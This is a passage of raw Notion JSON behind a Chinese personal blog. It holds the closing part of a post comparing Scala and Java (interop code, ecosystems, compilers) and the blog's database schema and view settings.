Date()\nprintln(now)"]],"language":[["Scala"]]},"format":{"code_wrap":true},"created_time":1716532815543,"last_edited_time":1716532924447,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"e0e2cad0-8dd5-47f4-9732-18a169712db8":{"value":{"id":"e0e2cad0-8dd5-47f4-9732-18a169712db8","type":"code","properties":{"title":[["// Java 调用 Scala 类库\nimport scala.collection.JavaConverters;\n\nList list = Arrays.asList(\"a\", \"b\", \"c\");\nscala.collection.immutable.List scalaList = JavaConverters.asScalaBufferConverter(list).asScala().toList();\nSystem.out.println(scalaList);"]],"language":[["Java"]]},"format":{"code_wrap":true},"created_time":1716532815543,"last_edited_time":1716532925573,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"f0aac219-9b78-4397-a987-35f60d4ff8a4":{"value":{"id":"f0aac219-9b78-4397-a987-35f60d4ff8a4","type":"text","properties":{"title":[["社区与生态系统"]]},"created_time":1716532815543,"last_edited_time":1716532939870,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"565251c8-7a51-4fa3-af51-b2a8f5617cf6":{"value":{"id":"565251c8-7a51-4fa3-af51-b2a8f5617cf6","type":"bulleted_list","properties":{"title":[["Java",[["b"]]],[" 拥有庞大的社区和丰富的类库、框架,如 Spring、Hibernate 等。"]]},"created_time":1716532815543,"last_edited_time":1716532815558,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"a30ed942-2477-44c4-a578-a8fbac2fc2a4":{"value":{"id":"a30ed942-2477-44c4-a578-a8fbac2fc2a4","type":"bulleted_list","properties":{"title":[["Scala",[["b"]]],[" 也有自己的生态系统,如 Akka、Play Framework 和 Spark 等,但其社区相对较小。"]]},"created_time":1716532815543,"last_edited_time":1716532815558,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"3533fbc4-5b75-42cd-ae2a-c3a5d48a8882":{"value":{"id":"3533fbc4-5b75-42cd-ae2a-c3a5d48a8882","type":"text","properties":{"title":[["编译器和工具链"]]},"created_time":1716532815543,"last_edited_time":1716532941825,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"8bf147c4-af84-4995-bbb7-74ff8618a608":{"value":{"id":"8bf147c4-af84-4995-bbb7-74ff8618a608","type":"bulleted_list","properties":{"title":[["Java",[["b"]]],[" 编译器(javac)和工具链发展成熟,支持广泛的集成开发环境(IDE)和构建工具(如 Maven 和 Gradle)。"]]},"created_time":1716532815543,"last_edited_time":1716532815558,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"91bad55b-2698-4634-8910-5ea10ac41f40":{"value":{"id":"91bad55b-2698-4634-8910-5ea10ac41f40","type":"bulleted_list","properties":{"title":[["Scala",[["b"]]],[" 编译器(scalac)相对复杂,编译时间较长,但也支持诸如 sbt 这样的构建工具和 IDE 插件。"]]},"created_time":1716532815544,"last_edited_time":1716532815558,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"7792d316-39bd-48cf-96aa-bf4e4299e5ac":{"value":{"id":"7792d316-39bd-48cf-96aa-bf4e4299e5ac","type":"text","properties":{"title":[["总的来说,Scala 和 Java 各有优劣,选择使用哪种语言可以根据具体的项目需求、团队熟悉度和开发效率等因素来决定。"]]},"created_time":1716532815544,"last_edited_time":1716532815558,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"af77f7ff-6362-492a-9fe7-baaf4861596a":{"value":{"id":"af77f7ff-6362-492a-9fe7-baaf4861596a","type":"divider","format":{"copied_from_pointer":{"id":"c851f209-055a-4483-9cc5-fa048b2e0ce5","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714381037178,"last_edited_time":1714381037182,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"c851f209-055a-4483-9cc5-fa048b2e0ce5"}},"0d59682d-c9da-4d68-995a-4e5824e7aacf":{"value":{"id":"0d59682d-c9da-4d68-995a-4e5824e7aacf","type":"sub_sub_header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"ccca7729-ccb1-4ddf-af06-74ca614c79f8","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714381037178,"last_edited_time":1714381037182,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"ccca7729-ccb1-4ddf-af06-74ca614c79f8"}},"9f1c37c9-9225-48c4-a489-758fc610b0af":{"value":{"id":"9f1c37c9-9225-48c4-a489-758fc610b0af","type":"bulleted_list","properties":{"title":[["互相是调用是我没想到的"]]},"format":{"copied_from_pointer":{"id":"d5cce92b-ac1a-4c63-abb7-efb15c310789","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714381037178,"last_edited_time":1716533143830,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"d5cce92b-ac1a-4c63-abb7-efb15c310789"}},"5ce0c80d-2cba-4733-b121-0059021340cb":{"value":{"id":"5ce0c80d-2cba-4733-b121-0059021340cb","type":"text","format":{"copied_from_pointer":{"id":"70dc2387-d34b-4685-9015-b6c7b3da403e","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714381033419,"last_edited_time":1714381033419,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"d3cb6589-ec67-460d-82b9-9d8bbe8f90d6":{"value":{"id":"d3cb6589-ec67-460d-82b9-9d8bbe8f90d6","type":"text","format":{"copied_from_pointer":{"id":"70dc2387-d34b-4685-9015-b6c7b3da403e","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292002,"last_edited_time":1714381039039,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"70dc2387-d34b-4685-9015-b6c7b3da403e"}},"eef3d831-8bdc-4fc6-9147-3575566bcaef":{"value":{"id":"eef3d831-8bdc-4fc6-9147-3575566bcaef","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"61d69b7e-e4ff-4d41-b630-bfdc4c7fe640","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292002,"last_edited_time":1714377292002,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"61d69b7e-e4ff-4d41-b630-bfdc4c7fe640"}},"268bd9b4-5bea-4ac6-9361-36f492f67990":{"value":{"id":"268bd9b4-5bea-4ac6-9361-36f492f67990","type":"column_list","content":["b19e1b6a-1dfe-4448-b83f-9e06d9e7c882","2e0cf5cc-bb67-4aff-a231-ca651ab92865","c219efd1-9be9-425a-b47b-794a514b6a20"],"format":{"copied_from_pointer":{"id":"73d4818b-811c-4909-8b13-5169d9166c6c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292002,"last_edited_time":1714377292002,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"73d4818b-811c-4909-8b13-5169d9166c6c"}},"feced68c-aa07-41f3-b2f9-c759f100a621":{"value":{"id":"feced68c-aa07-41f3-b2f9-c759f100a621","type":"text","format":{"copied_from_pointer":{"id":"5cef5f6d-900f-40a8-a893-6115ef1f49bf","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292001,"last_edited_time":1714377292001,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"5cef5f6d-900f-40a8-a893-6115ef1f49bf"}},"b19e1b6a-1dfe-4448-b83f-9e06d9e7c882":{"value":{"id":"b19e1b6a-1dfe-4448-b83f-9e06d9e7c882","type":"column","content":["76367695-e9a4-4f90-8b29-dc95eeecd5e7"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"ea46e036-f68e-49de-8f21-bfed2f920b54","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292006,"last_edited_time":1714377292006,"parent_id":"268bd9b4-5bea-4ac6-9361-36f492f67990","parent_table":"block","alive":true,"copied_from":"ea46e036-f68e-49de-8f21-bfed2f920b54"}},"2e0cf5cc-bb67-4aff-a231-ca651ab92865":{"value":{"id":"2e0cf5cc-bb67-4aff-a231-ca651ab92865","type":"column","content":["3d2d14a5-6262-4dae-97cd-90d8abf74569","a2ffec6f-179b-4275-94ae-665d9c937fa5"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"d2a58f3b-79e0-4780-912f-8ac70bcd13ef","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292006,"last_edited_time":1714377292006,"parent_id":"268bd9b4-5bea-4ac6-9361-36f492f67990","parent_table":"block","alive":true,"copied_from":"d2a58f3b-79e0-4780-912f-8ac70bcd13ef"}},"c219efd1-9be9-425a-b47b-794a514b6a20":{"value":{"id":"c219efd1-9be9-425a-b47b-794a514b6a20","type":"column","content":["3efda718-fd27-4853-8dba-b41451db1a14"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"79fb07a9-28cd-4dff-93eb-90185adec883","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292006,"last_edited_time":1714377292006,"parent_id":"268bd9b4-5bea-4ac6-9361-36f492f67990","parent_table":"block","alive":true,"copied_from":"79fb07a9-28cd-4dff-93eb-90185adec883"}},"76367695-e9a4-4f90-8b29-dc95eeecd5e7":{"value":{"id":"76367695-e9a4-4f90-8b29-dc95eeecd5e7","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"7844a53e-e660-44bf-92a3-0532f66158ba","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1714377292007,"last_edited_time":1714377292007,"parent_id":"b19e1b6a-1dfe-4448-b83f-9e06d9e7c882","parent_table":"block","alive":true,"copied_from":"7844a53e-e660-44bf-92a3-0532f66158ba","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"3d2d14a5-6262-4dae-97cd-90d8abf74569":{"value":{"id":"3d2d14a5-6262-4dae-97cd-90d8abf74569","type":"text","properties":{"title":[["\n",[["i"]]],[" 是在往前走就好",[["i"],["b"]]],["\n ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"7e623a46-11c6-411a-9255-720c84443957","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292006,"last_edited_time":1714377292006,"parent_id":"2e0cf5cc-bb67-4aff-a231-ca651ab92865","parent_table":"block","alive":true,"copied_from":"7e623a46-11c6-411a-9255-720c84443957"}},"a2ffec6f-179b-4275-94ae-665d9c937fa5":{"value":{"id":"a2ffec6f-179b-4275-94ae-665d9c937fa5","type":"text","format":{"copied_from_pointer":{"id":"d09e38d6-d5bc-4c12-a5f3-c5402e177e14","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292007,"last_edited_time":1714377292007,"parent_id":"2e0cf5cc-bb67-4aff-a231-ca651ab92865","parent_table":"block","alive":true,"copied_from":"d09e38d6-d5bc-4c12-a5f3-c5402e177e14"}},"3efda718-fd27-4853-8dba-b41451db1a14":{"value":{"id":"3efda718-fd27-4853-8dba-b41451db1a14","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"e3e53889-a3bc-4913-b284-b003a45f4ad2","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1714377292006,"last_edited_time":1714377292006,"parent_id":"c219efd1-9be9-425a-b47b-794a514b6a20","parent_table":"block","alive":true,"copied_from":"e3e53889-a3bc-4913-b284-b003a45f4ad2","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"